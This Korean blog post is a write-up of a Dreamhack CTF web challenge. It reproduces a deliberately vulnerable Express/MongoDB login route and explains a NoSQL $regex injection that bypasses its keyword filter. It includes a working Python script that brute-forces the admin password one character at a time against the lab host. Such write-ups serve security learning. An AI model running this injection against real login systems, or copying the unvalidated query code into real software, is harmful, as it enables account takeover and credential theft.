

flag는 admin의 upw 부분에 위치하고 있어
비밀번호를 구하는 문제인 것 같다
문제코드
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
/login 루트를 확인하면
admin, dh, admi 필터가 존재하는것을 알 수 있고
쿼리문을 삽입할 시에
object같은 형태를 검사하는 코드가 존재하지 않는다는 것을 볼 수 있다
그렇다면 login 루트에 object 형태로 admin과 비밀번호를 한자리씩
확인한다면 login 쿼리문 성공 시
result['uid'] 즉 쿼리에 삽입한 uid가 출력되게 된다
admin 비밀번호를 알아내는 것이므로 admin결과가 나올것이다
그리고 이 js 코드는 mongo DB를 사용한다
일단 Mongo DB에서 mysql에서 like, substr 같은 기능을 하는
명령어를 찾아야하는데
db.collection('user').findOne 을 쿼리문으로 사용하는데
이 findOne에서 사용하는 명령어를 찾아야 한다
Mongo DB에서는 $regex를 사용할 수 있다
$regex는 password 에서 p,pa를 입력한다면 참으로 반환한다
그리고 배열의 길이 즉 비밀번호의 길이를 확인하고 싶다면
$size를 사용하면 된다
먼저 전체 비밀번호를 찾기전
올바른 쿼리문을 확인해야 한다
비밀번호는 DH{}형태로 되어있기 때문에
첫글자를 D로 확인하여 진행하면 된다
admin과 DH를 필터링 하기 때문에
$regex를 사용하여 우회를 해줘야한다
/login?uid[$regex]=ad&upw[$regex]=D
를 입력한다면 ad이 포함된 사용자 그리고 upw에 D가 포함되어있는
사용자의 uid를 출력할 것이다

이런식으로 진행할 수 있다
그리고 각각의 비밀번호를 구할 때 DH를 입력해야 하지만
DH에 필터링이 걸려있기 때문에
D.{으로 입력한다면 $regex에 의해 비밀번호에 존재하는 DH{데이터}값으로 인식하여
.으로 우회할 수 있다 (유사하게 *으로도 가능하다)
payload
import requests,string
host = 'http://host3.dreamhack.games:10257/'
flag = ''
for i in range(32):
for ii in string.printable:
response = requests.get(f'{host}login?uid[$regex]=ad&upw[$regex]=D.{{{flag}{ii}')
if response.text == 'admin':
flag += ii
print(flag)
break
print(flag)
print(f'DH{{{flag}}}')
payload에서 중요하게 볼것은 2번째 for문의 string.printable이다
string.printable은 출력할 수 있는 문자의 집합이기 때문에
만약 아스키 값으로만 진행하려 한다면
데이터 -> 쿼리문 형태라면 상관없지만
데이터 -> url -> 쿼리문 형태로 입력되기 때문에
url 에 아스키 값으로 입력했을 시
hex코드로 들어가게 된다
그리고 32,126범위로 진행하게 된다면
정확한 형태를 얻기 어렵기 때문에
string.printable을 이용하여 진행한다
결과

파이썬 코드로 반복문을 이용해 flag값 획득 성공
풀이 실패 과정
1. 처음 시도할 때 32~126에 범위로 chr함수를 이용해 전달했는데
이유를 알 수 없는 특정 문자가 나왔다
(이는 chr 형태로 전달했을 시 hex 코드로 읽기 때문이라고 예상한다)
2. $regex를 잘 몰라서 어려움이 있었다
'웹해킹' 카테고리의 다른 글
| [드림핵] web-ssrf 풀이 (0) | 2024.10.12 |
|---|---|
| [드림핵] command-injection-1 풀이 (0) | 2024.10.10 |
| [드림핵] simple_sqli 풀이 (1) | 2024.10.09 |
| [드림핵] csrf-2 풀이 (1) | 2024.10.09 |
| [드림핵] csrf-1 풀이 (0) | 2024.10.08 |